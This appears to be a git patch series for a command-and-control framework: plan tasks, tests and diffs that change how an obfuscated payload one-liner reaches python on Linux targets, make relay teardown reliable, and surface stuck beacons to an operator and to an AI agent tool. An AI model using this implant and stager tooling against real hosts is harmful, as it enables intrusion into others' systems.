%s \""), one[:40]) + +def test_the_quoting_invariant_still_holds(self): + stage = self.generate(1)["oneliner_unix"] + for forbidden in ("$", "`", "\\"): + self.assertNotIn(forbidden, stage) +``` + +Keep the existing `test_a_real_shell_hands_the_stage_over_as_one_argument`, renaming it to `test_a_real_shell_delivers_the_stage_to_python` and changing its `subprocess.run` to execute the one-liner as a **script** (`["sh", scriptpath]` with the one-liner as the file's only line), not as `sh -c ` — passing it to `-c` makes the whole line one argv entry and reintroduces the limit the artifact no longer has. + +- [ ] **Step 2: Run the tests to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_tunnel_spawn -v` +Expected: the three new tests FAIL (`"python3 -c" unexpectedly found`), the renamed one FAILs on macOS only if the script form is wrong. + +- [ ] **Step 3: Change the one-liner's form in `software/c2/server.py`** + +`oneliner_unix = f'printf %s "{stage}" | python3 -'`. Leave `oneliner_win` as `f'python -c "{stage}"'`: it is already documented as undeliverable at this size and is used through `Invoke-Expression`, where no length limit applies. The comment above it must say why the two now differ. + +- [ ] **Step 4: Run the tunnel tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_tunnel_spawn software.tests.test_tunnel_stager software.tests.test_docs -v` +Expected: PASS. `test_docs` is in the list because this task edits `docs/TUNNEL.md` and that module asserts over the documentation. + +- [ ] **Step 5: Update `docs/TUNNEL.md`** + +At `:516` the Windows paragraph stays. Add the Linux one beside it: the kernel refuses an `argv` entry over 131072 bytes, the generated stage exceeds it, so the payload travels on stdin through a shell builtin and the artifact is still one line. At `:586` correct "it runs the ordinary one-liner, which is the common case on Linux and macOS" — the sentence is right again once the form changes, but it must name the reason the form is what it is. + +- [ ] **Step 6: Commit** + +```bash +git add software/c2/server.py docs/TUNNEL.md software/tests/test_tunnel_spawn.py +git commit -m "fix(stager): the Unix one-liner could not run on Linux at all" +``` + +--- + +### Task 2: `stop()` wakes a blocked `accept()` + +**Files:** +- Modify: `software/c2/beacon.py:2097` (`_NtlmProxyRelay.stop`) +- Test: `software/tests/test_beacon.py` + +**Interfaces:** +- Consumes: nothing. +- Produces: `stop()` calls `shutdown(socket.SHUT_RDWR)` before `close()`. `_accept_loop`'s existing `except OSError: break` arm catches the result and needs no change. + +- [ ] **Step 1: Write the failing test** + +The two existing tests (`TestNtlmRelayTunnel.test_stop_closes_listener`, `TestBeaconNtlmWiring.test_stop_tears_down_relay`) fail on Linux and pass on macOS, so they cannot drive a red cycle on the developer's machine. Add one that can, in `TestNtlmRelayTunnel`: + +```python +def test_stop_shuts_the_listener_down_before_closing_it(self): + # Closing a descriptor another thread is blocked in accept() on is + # undefined in POSIX: macOS wakes the accept, Linux leaves the socket + # bound and ACCEPTING until it returns. So on Linux the operator + # stops the relay and the target keeps an open port. shutdown() + # wakes a blocked accept on both platforms; close() alone does not. + relay = self._setup() + calls = [] + real_shutdown = relay._server.shutdown + real_close = relay._server.close + relay._server.shutdown = lambda how: (calls.append("shutdown"), + real_shutdown(how))[1] + relay._server.close = lambda: (calls.append("close"), real_close())[1] + relay.stop() + self.relay = None + self.assertEqual(calls, ["shutdown", "close"]) +``` + +- [ ] **Step 2: Run it to verify it fails** + +Run: `/usr/bin/python3 -m unittest software.tests.test_beacon.TestNtlmRelayTunnel.test_stop_shuts_the_listener_down_before_closing_it -v` +Expected: FAIL — `[] != ['shutdown', 'close']`. + +- [ ] **Step 3: Add the shutdown to `stop()` in `software/c2/beacon.py`** + +Before `self._server.close()`, call `self._server.shutdown(socket.SHUT_RDWR)` in its own `try/except Exception: pass` — a socket that is already gone must not turn a teardown into an exception. The comment must say which platform needed it and why. + +- [ ] **Step 4: Run the beacon tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_beacon -v` +Expected: PASS on macOS. The two pre-existing tests are verified on Linux by Task 9's job; the Docker suite run is the interim check. + +- [ ] **Step 5: Verify on Linux** + +Run: `docker run --rm -v "$PWD:/repo:ro" python:3.9-slim sh -c 'apt-get update -qq >/dev/null && apt-get install -y -qq --no-install-recommends git ffmpeg procps >/dev/null && cp -a /repo /work && cd /work && pip install -q -r software/tests/requirements.txt && python3 -m unittest software.tests.test_beacon 2>&1 | tail -20'` +Expected: PASS, including `test_stop_closes_listener` and `test_stop_tears_down_relay`, which fail there today. + +- [ ] **Step 6: Commit** + +```bash +git add software/c2/beacon.py software/tests/test_beacon.py +git commit -m "fix(relay): stop() left the port accepting on Linux" +``` + +--- + +### Task 3: An unattributed rescue is logged and served + +**Files:** +- Modify: `software/c2/server.py` — the unattributed branch (~2951) and a new route beside the other `/api/` routes +- Test: `software/tests/test_dns_rescue.py` + +**Interfaces:** +- Consumes: `unattributed_rescues` (module-level list), `_RESCUE_UNATTRIBUTED_MAX = 50`, `_log_event(category, message, agent_id="", details=None)`. +- Produces: `GET /api/rescues/unattributed` → `{"unattributed": [, …]}`, `@require_auth`, newest first. Each record is the same dict `_handle_rescue` builds: `summary`, `dns_answered`, `fingerprint`, `at`, and the four leg keys. + +- [ ] **Step 1: Write the failing tests** + +In `software/tests/test_dns_rescue.py`, a new class `TestARescueNobodyCanClaim`: + +```python +def test_an_unattributed_rescue_is_logged_so_it_is_not_silent(self): + # It used to be appended to a list nothing read: decoded, stored and + # discarded. The beacon that cannot be attributed is the one most + # likely to be stuck, because never registering means the way out was + # never open. + +def test_the_route_returns_it_newest_first(self): + +def test_the_route_needs_the_operator_token(self): + +def test_the_route_is_not_on_the_agent_socket(self): + # Same policy as every other /api/ route. + +def test_a_rescue_for_a_deleted_agent_is_reported_not_dropped(self): + # Review Focus 3. Attribution matches the live fleet, so a record for + # an agent the operator has removed lands here. + +def test_nothing_in_the_record_is_treated_as_an_agent_id(self): + # Review Focus 3. The record carries a 2-byte fingerprint and leg + # codes. No string from the target can reach it, and the route must + # not invent an id from the fingerprint. + +def test_the_list_stays_capped(self): + # Review Focus 2's other half: 51 records leave 50. +``` + +Build each record by the real path — encrypt with the beacon's `_encrypt` and POST to `/`, as `TestTheServerDecodesARescue` already does — not by appending to the list directly. + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue.TestARescueNobodyCanClaim -v` +Expected: FAIL — 404 from the route, and no log entry. + +- [ ] **Step 3: Implement both in `software/c2/server.py`** + +In `_handle_rescue`'s unattributed branch, call `_log_event("RESCUE", …)` with the summary before the append. Safe to log in full: the record holds no string from the target. Add the route next to `api_agents`, decorated `@require_auth`, returning the list reversed. + +- [ ] **Step 4: Run the rescue and hardening tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue software.tests.test_c2_hardening -v` +Expected: PASS. `test_c2_hardening` owns the socket-policy assertions and will fail if the route is reachable on the agent socket. + +- [ ] **Step 5: Commit** + +```bash +git add software/c2/server.py software/tests/test_dns_rescue.py +git commit -m "feat(rescue): a rescue nobody can claim is no longer silent" +``` + +--- + +### Task 4: The agent tool reports them, separately + +**Files:** +- Modify: `software/agent/c2client.py` (beside `list_agents`, ~270) +- Modify: `software/agent/tools/egress.py` (`get_stuck_beacons`) +- Test: `software/tests/test_dns_rescue.py` + +**Interfaces:** +- Consumes: Task 3's route; `self._request("GET", path)` from `c2client`. +- Produces: `async def unattributed_rescues(self) -> List[dict]` on the client. `get_stuck_beacons()` returns `{"stuck": [...], "unattributed": [...]}`. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_the_tool_reports_unattributed_rescues_under_their_own_key(self): + # Separate from "stuck" on purpose: there is no beacon id to task, so + # a model must not be able to mistake one for something it can act on. + +def test_an_unattributed_entry_carries_no_beacon_id_field(self): + +def test_the_tool_still_works_when_the_c2_has_no_such_route(self): + # An older team server answers 404. The tool degrades to {"stuck": …} + # rather than failing the whole call. + +def test_the_tool_description_says_they_cannot_be_tasked(self): +``` + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue -v -k unattributed` +Expected: FAIL — `KeyError: 'unattributed'`. + +- [ ] **Step 3: Implement the client method and extend the tool** + +`unattributed_rescues()` mirrors `list_agents()`'s shape checking and uses `allow_missing=True` so a 404 returns `None`; `get_stuck_beacons` treats `None` as an empty list. Extend the tool's `description` in its spec to state that these entries have no id and cannot be tasked. + +- [ ] **Step 4: Run the agent tool tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue software.tests.test_agent_tools -v` +Expected: PASS. + +- [ ] **Step 5: Commit** + +```bash +git add software/agent/c2client.py software/agent/tools/egress.py software/tests/test_dns_rescue.py +git commit -m "feat(rescue): the agent sees the rescues it cannot act on" +``` + +--- + +### Task 5: The operator is notified, and the browser says so + +**Files:** +- Modify: `software/c2/server.py` (`_OPERATOR_HTML`) +- Test: `software/tests/test_dns_rescue.py` + +**Interfaces:** +- Consumes: Task 3's route; the page's existing `toast(type, title, msg, duration)` and `api(path)`. +- Produces: a poll that raises one `toast("warning", …)` per record it has not seen. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_a_record_already_seen_raises_no_second_notification(self): + # Review Focus 2. The list is capped at 50 and never cleared, so a + # naive poll re-fires for every record on every tick. Asserted at + # source level: the poll must key on something per-record, not on the + # list's length. + +def test_the_notification_escapes_with_a_helper_that_exists(self): + # The rule this feature's worst defect earned: escHtml(...) was my + # own invented spelling, the operator console calls its escaper esc, + # and the whole agent panel threw and rendered nothing. +``` + +The second test reuses `_operator_script()` and the definedness check already in this module. `TestTheTwoGuisDoNotShareHelpers` covers the cross-GUI class automatically. + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_dns_rescue -v -k notification` +Expected: FAIL. + +- [ ] **Step 3: Add the poll and the toast to `_OPERATOR_HTML`** + +Alongside the existing `setInterval(refreshAgents, 3000)`. Key seen records on `fingerprint + at`, which is unique per record and present in every one. Escape with `esc`. + +- [ ] **Step 4: Verify in a browser, not in a regex** + +This step is the task's acceptance. Start a server with an unattributed record present, open the operator console, unlock it, and confirm: the toast appears, the bell count rises, the notification panel lists it, and **the console reports no errors**. A source-level assertion that a string is present is what shipped the last defect; a screenshot is the evidence here. + +- [ ] **Step 5: Run the full suite** + +Run: `/usr/bin/python3 -m unittest discover -s software/tests -t .` +Expected: OK. + +- [ ] **Step 6: Commit** + +```bash +git add software/c2/server.py software/tests/test_dns_rescue.py +git commit -m "feat(rescue): the operator is told when something unknown is stuck" +``` + +--- + +### Task 6: The lab's images and compose + +**Files:** +- Create: `software/tests/lab/docker-compose.yml`, `teamserver.Dockerfile`, `beacon.Dockerfile`, `resolver.Dockerfile`, `beacon_entry.py` +- Create: `software/tests/test_e2e_lab.py` + +**Interfaces:** +- Consumes: `software/c2/listeners/Dockerfile` as it ships, unmodified. +- Produces: compose project `raccoon-lab`; services `teamserver`, `resolver`, `listener-dns`, `listener-smb`, `beacon`; networks `beacon-net` (declared subnet, static IP for `resolver` and `listener-dns`), `relay-net`, `c2-net`. The operator port is published on TCP; **no UDP port is published**. `beacon_entry.py` takes `--scenario`, `--zone`, `--cycles`, and the key and ports from the environment. + +- [ ] **Step 1: Write the failing tests** + +`software/tests/test_e2e_lab.py` — these need no Docker and run in the normal suite: + +```python +def test_the_lab_publishes_no_udp_port(self): + # Measured: published UDP does not arrive on macOS. The beacon is a + # container so the datagram never crosses the host boundary; a + # published UDP port would mean someone had moved it back. + +def test_the_beacon_is_not_on_the_relay_network(self): + # The listener is the one thing that bridges. A beacon on relay-net + # could reach the team server and the severance would be a fiction. + +def test_the_dns_listener_is_on_both_the_beacon_and_relay_networks(self): + +def test_the_resolver_forwards_the_zone_to_the_listener_by_ip(self): + # dnsmasq's server=/zone/addr#port takes an IP, not a hostname: it + # parses its config before it could resolve anything. + +def test_the_labs_listener_command_matches_the_shipped_compose(self): + # Risk from the spec: a lab that drifts proves a shape nobody + # deploys. Compares the lab's listener flags against + # software/c2/docker-compose.yml's. + +def test_the_lab_uses_the_shipped_listener_dockerfile(self): + +def test_dnsmasq_keeps_its_cache(self): + # The listener answers with TTL 1 and a cached rescue would be a + # defect worth catching, so turning the cache off would hide it. +``` + +Parse the compose file with `yaml` if the suite already has it, otherwise with a small reader in the test; check `software/tests/requirements.txt` first and do not add a dependency for this. + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: FAIL — the compose file does not exist. + +- [ ] **Step 3: Write the compose file, the three Dockerfiles and the entry script** + +The teamserver image installs `flask` and `cryptography` and nothing else — measured sufficient to import `software.c2.server`. The beacon image installs `requests`. Source arrives by read-only bind mount of the repository root, not `COPY`. The resolver's config sets `log-queries` and a `log-facility` on a path the driver reads, `no-resolv`, `no-hosts`, and keeps `cache-size` at its default. + +- [ ] **Step 4: Run the tests** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: PASS. + +- [ ] **Step 5: Build the images once by hand** + +Run: `docker compose -p raccoon-lab -f software/tests/lab/docker-compose.yml build` +Expected: all four images build. The shipped team-server image is **not** built. + +- [ ] **Step 6: Commit** + +```bash +git add software/tests/lab/ software/tests/test_e2e_lab.py +git commit -m "test(lab): the containers and networks for a Linux end-to-end run" +``` + +--- + +### Task 7: The driver, and the `rescue` scenario + +**Files:** +- Create: `tools/e2e_lab.py` +- Modify: `software/tests/test_e2e_lab.py` + +**Interfaces:** +- Consumes: Task 6's compose project. +- Produces: `build_parser() -> argparse.ArgumentParser` (the house convention `tools/demo_env.py` set, and what its test asserts against), `main(argv=None) -> int`. Scenario names positional; flags `--keep`, `--shipped-image`. Exit 0 pass, 1 fail, 2 no Docker. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_it_exits_2_and_says_so_without_docker(self): + # tools/listener_docker_rig.py's convention: never fail in a way that + # looks like a product fault. + +def test_it_refuses_to_start_when_the_projects_containers_exist(self): + # Review Focus 4. A reused container would report a pass that means + # nothing. + +def test_the_parser_flags_mean_what_the_design_says(self): + # As test_c2_hardening does for demo_env's parser. + +def test_every_scenario_name_is_reachable_from_the_parser(self): + +def test_it_reports_the_architecture_it_ran_on(self): + # From the spec's risk table: aarch64 here, amd64 in CI. A report + # that does not say which machine produced it cannot be acted on, + # and this project has already been bitten twice by a platform + # difference nobody recorded. +``` + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: FAIL — `tools.e2e_lab` does not exist. + +- [ ] **Step 3: Implement the driver and the `rescue` scenario** + +The scenario, in order: bring the stack up with the beacon also attached to `c2-net`; wait for the beacon to register (poll the operator API for an agent, never a fixed sleep, and name the unmet condition on timeout); `docker network disconnect c2-net beacon`; assert the negative space from inside the beacon container — the team server's beacon socket, the SMB and the QUIC addresses must all be unreachable, and the run aborts saying the lab is mis-wired if any succeeds; run the stuck loop for four cycles; assert. + +Assertions come from the components, never the driver's bookkeeping: the resolver's query log for exactly **one** rescue name across four cycles, with the whole name under 253 characters and no label over 63; the operator API for a `stuck` summary naming the right legs. Tear down in a `finally` with `down -v` unless `--keep`. + +- [ ] **Step 4: Run the driver** + +Run: `python3 tools/e2e_lab.py rescue` +Expected: exit 0, and the printed evidence shows one rescue and the operator's summary. + +- [ ] **Step 5: Prove the scenario can fail** + +Revert the trigger in `software/c2/beacon.py` from `delivered_by not in _RESCUE_UPSTREAM` to `tasking is None`, run `python3 tools/e2e_lab.py rescue`, and record the result in `.superpowers/sdd/2026-11-15-e2e-docker-lab/progress.md`. Restore the trigger. A scenario that passes either way proves nothing. + +- [ ] **Step 6: Run the suite and commit** + +Run: `/usr/bin/python3 -m unittest discover -s software/tests -t .` + +```bash +git add tools/e2e_lab.py software/tests/test_e2e_lab.py +git commit -m "test(lab): a driver, and the rescue scenario through a real resolver" +``` + +--- + +### Task 8: The `stale-token` and `smb-up` scenarios + +**Files:** +- Modify: `tools/e2e_lab.py`, `software/tests/lab/docker-compose.yml`, `software/tests/test_e2e_lab.py` + +**Interfaces:** +- Consumes: Task 7's driver. +- Produces: scenarios `stale-token` and `smb-up`; a compose override or profile that gives `listener-dns` an invalid token and puts `listener-smb` on `beacon-net`. + +- [ ] **Step 1: Write the failing tests** + +```python +def test_the_stale_token_listener_holds_a_token_the_server_rejects(self): + # Tasking over DNS needs that token; the rescue does not, because it + # goes through the beacon handler. So the ladder runs all the way down + # and SMB and QUIC are really attempted -- which is the only way this + # lab can prove the leg-recording fix on Linux. + +def test_smb_up_keeps_the_dns_leg_armed(self): + # Disabling DNS would make "no rescue was sent" vacuous: _maybe_rescue + # returns immediately when DNS is off. +``` + +- [ ] **Step 2: Run them to verify they fail** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v` +Expected: FAIL. + +- [ ] **Step 3: Implement both scenarios** + +`stale-token` asserts that SMB and QUIC are reported as attempted-and-failed and **not** as `not_attempted`. On Linux a dead QUIC endpoint raises nothing and merely times out, so this is where that fix is proved end to end. `smb-up` asserts tasking arrived over SMB and that **no** rescue was sent, because an upstream leg delivered while the latch was armed and could have fired. + +- [ ] **Step 4: Run all three scenarios** + +Run: `python3 tools/e2e_lab.py` +Expected: exit 0, three scenarios reported. + +- [ ] **Step 5: Prove `stale-token` can fail** + +Revert Task 2's sibling — the leg recording in `_quic_send`'s quiet paths, from commit `3dad39e` — run `python3 tools/e2e_lab.py stale-token`, record the result in the ledger, restore. `smb-up` is **exempt**: it guards a property of the lab, not a product change, so there is nothing to revert. + +- [ ] **Step 6: Commit** + +```bash +git add tools/e2e_lab.py software/tests/lab/ software/tests/test_e2e_lab.py +git commit -m "test(lab): the scenario the VM died before reaching" +``` + +--- + +### Task 9: CI + +**Files:** +- Create: `.github/workflows/ci.yml` +- Modify: `software/tests/test_docs.py` if it asserts over the repository's file set + +**Interfaces:** +- Consumes: Tasks 1–8. +- Produces: two jobs on `ubuntu-latest` — `tests` (Python 3.9, `git ffmpeg procps`, the full suite) and `lab` (`python3 tools/e2e_lab.py`). + +- [ ] **Step 1: Write the failing test** + +In `software/tests/test_e2e_lab.py`: + +```python +def test_ci_installs_the_three_packages_the_suite_needs(self): + # Measured: without git, ffmpeg and procps the suite reports 19 + # errors and 6 failures that say nothing about the code. + +def test_ci_pins_the_python_the_suite_is_documented_for(self): + # software/tests/requirements.txt says 3.9 and says the suite has + # only ever run against it. + +def test_ci_runs_both_the_suite_and_the_lab(self): + +def test_ci_passes_no_secret_to_either_job(self): + # The lab generates its key per run with os.urandom. +``` + +- [ ] **Step 2: Run it to verify it fails** + +Run: `/usr/bin/python3 -m unittest software.tests.test_e2e_lab -v -k ci` +Expected: FAIL — the workflow does not exist. + +- [ ] **Step 3: Write the workflow** + +Two jobs, not one: they fail for different reasons and a reader should be able to tell which broke. No `secrets` in either. A comment at the top states what the three packages are for, so the next person does not remove them. + +- [ ] **Step 4: Run the tests and the full suite** + +Run: `/usr/bin/python3 -m unittest discover -s software/tests -t .` +Expected: OK. + +- [ ] **Step 5: Verify the suite is green on Linux** + +Run the Docker command from Task 2 Step 5, with `discover` instead of one module. +Expected: OK — and if anything still fails, it is a finding to record, not to hide. + +- [ ] **Step 6: Commit** + +```bash +git add .github/workflows/ci.yml software/tests/test_e2e_lab.py +git commit -m "ci: run the suite and the lab on Linux" +``` From b687ec049a3d2c601be237bd7e01a6ca8b02dd25 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 08:43:56 +0100 Subject: [PATCH 05/22] docs: two plan corrections the pre-flight scan found Task 2's test monkeypatched relay._server.shutdown. Measured: socket objects use __slots__ and reject attribute assignment, so the test could not have been written. Replaced with a recording proxy on the relay's attribute, which also pins the call order -- shutdown after close would fix nothing, and the monkeypatch left that to chance. Task 6 said to parse the compose file with yaml 'if available, otherwise a small reader'. PyYAML 6.0.3 is installed and software/requirements.txt already requires pyyaml>=6.0, so the reader is now forbidden. And a variable in Task 1 named 'stage' while holding the one-liner, which matters because the new form legitimately contains a quote and a pipe. --- .../plans/2026-11-16-e2e-docker-lab.md | 42 ++++++++++++++----- 1 file changed, 32 insertions(+), 10 deletions(-) diff --git a/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md b/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md index 7729d42..cda359c 100644 --- a/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md +++ b/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md @@ -94,9 +94,13 @@ def test_the_payload_travels_on_stdin_through_a_shell_builtin(self): self.assertTrue(one.startswith("printf %s \""), one[:40]) def test_the_quoting_invariant_still_holds(self): - stage = self.generate(1)["oneliner_unix"] + # The one-liner gains a pipe and keeps its double quotes; what must + # stay absent is what would make the double-quoted form unsafe. + # `printf %s` puts the format in its own argument, so a `%` inside + # the stage is data and not a directive. + one = self.generate(1)["oneliner_unix"] for forbidden in ("$", "`", "\\"): - self.assertNotIn(forbidden, stage) + self.assertNotIn(forbidden, one) ``` Keep the existing `test_a_real_shell_hands_the_stage_over_as_one_argument`, renaming it to `test_a_real_shell_delivers_the_stage_to_python` and changing its `subprocess.run` to execute the one-liner as a **script** (`["sh", scriptpath]` with the one-liner as the file's only line), not as `sh -c ` — passing it to `-c` makes the whole line one argv entry and reintroduces the limit the artifact no longer has. @@ -149,16 +153,32 @@ def test_stop_shuts_the_listener_down_before_closing_it(self): # bound and ACCEPTING until it returns. So on Linux the operator # stops the relay and the target keeps an open port. shutdown() # wakes a blocked accept on both platforms; close() alone does not. + # + # A recording proxy on `relay._server`, not a monkeypatch on the + # socket: socket objects use __slots__ and reject attribute + # assignment (measured), and this way the test pins the ORDER, which + # is the whole property -- shutdown after close would fix nothing. + class _Recorder: + def __init__(self, inner): + self._inner, self.calls = inner, [] + + def shutdown(self, how): + self.calls.append("shutdown") + return self._inner.shutdown(how) + + def close(self): + self.calls.append("close") + return self._inner.close() + + def __getattr__(self, name): + return getattr(self._inner, name) + relay = self._setup() - calls = [] - real_shutdown = relay._server.shutdown - real_close = relay._server.close - relay._server.shutdown = lambda how: (calls.append("shutdown"), - real_shutdown(how))[1] - relay._server.close = lambda: (calls.append("close"), real_close())[1] + recorder = _Recorder(relay._server) + relay._server = recorder relay.stop() self.relay = None - self.assertEqual(calls, ["shutdown", "close"]) + self.assertEqual(recorder.calls, ["shutdown", "close"]) ``` - [ ] **Step 2: Run it to verify it fails** @@ -401,7 +421,9 @@ def test_dnsmasq_keeps_its_cache(self): # defect worth catching, so turning the cache off would hide it. ``` -Parse the compose file with `yaml` if the suite already has it, otherwise with a small reader in the test; check `software/tests/requirements.txt` first and do not add a dependency for this. +Parse the compose file with `yaml` — PyYAML 6.0.3 is installed and +`software/requirements.txt` already requires `pyyaml>=6.0`, so this adds no +dependency. Do not hand-roll a reader. - [ ] **Step 2: Run them to verify they fail** From 1165329c1dab98e8812792631a6bda0aaf54f067 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 09:01:00 +0100 Subject: [PATCH 06/22] fix(stager): the Unix one-liner could not run on Linux at all --- docs/TUNNEL.md | 21 ++++- software/c2/server.py | 18 ++-- software/tests/test_tunnel_config.py | 12 +-- software/tests/test_tunnel_spawn.py | 120 +++++++++++++++++++-------- software/tests/test_tunnel_yara.py | 9 +- 5 files changed, 128 insertions(+), 52 deletions(-) diff --git a/docs/TUNNEL.md b/docs/TUNNEL.md index 7035f73..3878403 100644 --- a/docs/TUNNEL.md +++ b/docs/TUNNEL.md @@ -484,8 +484,8 @@ check — and not about the package being present. ## Staging onto a host with no Python -The ordinary artifact is `python3 -c "…"`, and a one-liner cannot install -Python. The second artifact shape from the same generator is a **stager** +The ordinary artifact is `printf %s "…" | python3 -`, and a one-liner +cannot install Python. The second artifact shape from the same generator is a **stager** — a POSIX shell script and a PowerShell script — which: 1. **probes** for a usable interpreter and, finding one, runs the @@ -522,9 +522,20 @@ still emitted, because it is the text the Windows stager runs through length limit — and because an operator may paste it into something that does not go through `cmd.exe`. Both one-liners are therefore double-quoted with single quotes inside, and the stage carries no `$`, -backtick, backslash or `"`, so one text survives `sh -c`, `cmd.exe` and +backtick, backslash or `"`, so the same stage survives `sh`, `cmd.exe` and `Invoke-Expression` alike. +**On Linux the payload cannot be an argument at all.** The kernel refuses +any single `argv` entry over 131072 bytes (`MAX_ARG_STRLEN`), and the +generated stage is larger, so `python3 -c "…"` fails to exec with +`Argument list too long` however it is quoted. macOS has no such limit, +which is why this went unnoticed. The Unix one-liner is therefore +`printf %s "…" | python3 -`: the payload travels on python's stdin, and +`printf` is a builtin of dash, bash and busybox ash, so nothing execs it +and the artifact is still one line. `%s` keeps the stage out of the format +string, so a `%` inside it is data. The POSIX stager carries the same +text through `eval '…'`, which is why it needed no change. + ### The dead-drop list, and the hash that has no override The list is `[{url, sha256}]`, **ordered**, and the team server is @@ -584,7 +595,9 @@ source. Point it at a drop and it will fetch, verify and unpack whatever is there; nothing in this repository produces that file for a POSIX host. Its value today is its **probe-and-delegate** path: on a host that has a Python it runs the ordinary one-liner, which is the common case on Linux -and macOS. +and macOS. That one-liner is the `printf … | python3 -` form because a +single `argv` entry over 131072 bytes cannot be exec'd on Linux (see +above); a `python3 -c "…"` form would make this path fail there. **The stager installs no persistence**, although an earlier design step said it would. The per-build autorun name, the gate and the payload name diff --git a/software/c2/server.py b/software/c2/server.py index 01fcc1a..b7a1a82 100644 --- a/software/c2/server.py +++ b/software/c2/server.py @@ -1887,13 +1887,21 @@ def _rand_name(n=12): }) # Double quotes on both, with single quotes inside the stage - # itself: one text that `sh -c`, `cmd.exe` and PowerShell's - # `Invoke-Expression` all hand to `-c` as a single argument. The - # stage carries no `$`, backtick, backslash or `"`, which is what - # makes the double-quoted form safe in all three. See + # itself. The stage carries no `$`, backtick, backslash or `"`, + # which is what makes the double-quoted form safe in `sh`, + # `cmd.exe` and PowerShell's `Invoke-Expression` alike. See # `_obfuscate_layer`, and `docs/TUNNEL.md` for why the inline # Windows one-liner is undeliverable at this size regardless. - oneliner_unix = f'python3 -c "{stage}"' + # + # The two differ in where the payload goes. Linux refuses any + # single argv entry over 131072 bytes (MAX_ARG_STRLEN) and the + # stage is larger, so `python3 -c ""` cannot be exec'd + # there. Unix therefore pipes it into python's stdin, through + # `printf`, which dash, bash and busybox ash all run as a builtin + # so nothing execs the payload; `%s` keeps it out of the format + # string. Windows keeps `-c`: its one-liner is only ever run + # through `Invoke-Expression`, which has no such limit. + oneliner_unix = f'printf %s "{stage}" | python3 -' oneliner_win = f'python -c "{stage}"' stagers = _stagers_for_build(gen_cfg, drops, oneliner_unix, oneliner_win) diff --git a/software/tests/test_tunnel_config.py b/software/tests/test_tunnel_config.py index 6b549fd..42b2669 100644 --- a/software/tests/test_tunnel_config.py +++ b/software/tests/test_tunnel_config.py @@ -201,11 +201,12 @@ def generate(self, route, tunnel=None, posted=None): self.assertEqual(response.status_code, 200, response.data[:400]) body = response.get_json() if route == "gen": - prefix = 'python3 -c "' + prefix = 'printf %s "' + suffix = '" | python3 -' one = body["oneliner_unix"] - self.assertTrue(one.startswith(prefix) and one.endswith('"'), + self.assertTrue(one.startswith(prefix) and one.endswith(suffix), one[:80]) - stage = one[len(prefix):-1] + stage = one[len(prefix):-len(suffix)] else: self.assertIsNotNone(self._uploaded, "the gist route uploaded nothing") @@ -1096,8 +1097,9 @@ def test_both_producers_emit_the_same_field_names(self): "port": 8446}}, headers=_AUTH) self.assertEqual(response.status_code, 200, response.data[:400]) - prefix = 'python3 -c "' - stage = response.get_json()["oneliner_unix"][len(prefix):-1] + prefix = 'printf %s "' + suffix = '" | python3 -' + stage = response.get_json()["oneliner_unix"][len(prefix):-len(suffix)] baked = _baked_config(_innermost(stage))["tunnel"] from_yaml = tunnel_config_from_yaml( diff --git a/software/tests/test_tunnel_spawn.py b/software/tests/test_tunnel_spawn.py index 938e7b4..5fd7c7d 100644 --- a/software/tests/test_tunnel_spawn.py +++ b/software/tests/test_tunnel_spawn.py @@ -480,11 +480,12 @@ def generate(self, layers): @staticmethod def artifact(body): - """The Python inside `python3 -c "..."`, without the quoting.""" - prefix = 'python3 -c "' + """The Python inside `printf %s "..." | python3 -`, unquoted.""" + prefix = 'printf %s "' + suffix = '" | python3 -' one = body["oneliner_unix"] - assert one.startswith(prefix) and one.endswith('"'), one[:80] - return one[len(prefix):-1] + assert one.startswith(prefix) and one.endswith(suffix), one[:80] + return one[len(prefix):-len(suffix)] @staticmethod def run_artifact(code): @@ -527,8 +528,8 @@ def assert_is_the_innermost_source(self, src, body): # ── tests ── - def test_the_one_liners_reach_a_minus_c_through_three_parsers(self): - """One text that `sh -c`, `cmd.exe` and `Invoke-Expression` agree on. + def test_the_one_liners_reach_their_interpreter_through_three_parsers(self): + """One text that `sh`, `cmd.exe` and `Invoke-Expression` agree on. The defect this holds: the stage used to carry `globals()["_src"]` and `b64decode("...")` while the Windows @@ -539,17 +540,22 @@ def test_the_one_liners_reach_a_minus_c_through_three_parsers(self): `NameError`. The Windows stager is the first Windows consumer for which length is not the blocker, so this is what its probe-found-a-Python path runs. + + The Unix form is `printf %s "" | python3 -`, so the stage + is `printf`'s argument and python reads it from stdin; the + Windows form is still `python -c ""`. """ body = self.generate(1) - for key, program in (("oneliner_unix", "python3"), - ("oneliner_win", "python")): + forms = (("oneliner_unix", 'printf %s "', '" | python3 -'), + ("oneliner_win", 'python -c "', '"')) + for key, prefix, suffix in forms: with self.subTest(key=key): one = body[key] - prefix = program + ' -c "' - self.assertTrue(one.startswith(prefix) and one.endswith('"'), - "%s is not a double-quoted -c: %s" - % (key, one[:80])) - stage = one[len(prefix):-1] + self.assertTrue( + one.startswith(prefix) and one.endswith(suffix), + "%s is not the expected double-quoted form: %s" + % (key, one[:80])) + stage = one[len(prefix):-len(suffix)] # What makes the double-quoted form safe in all three # languages. base64's alphabet has none of these and 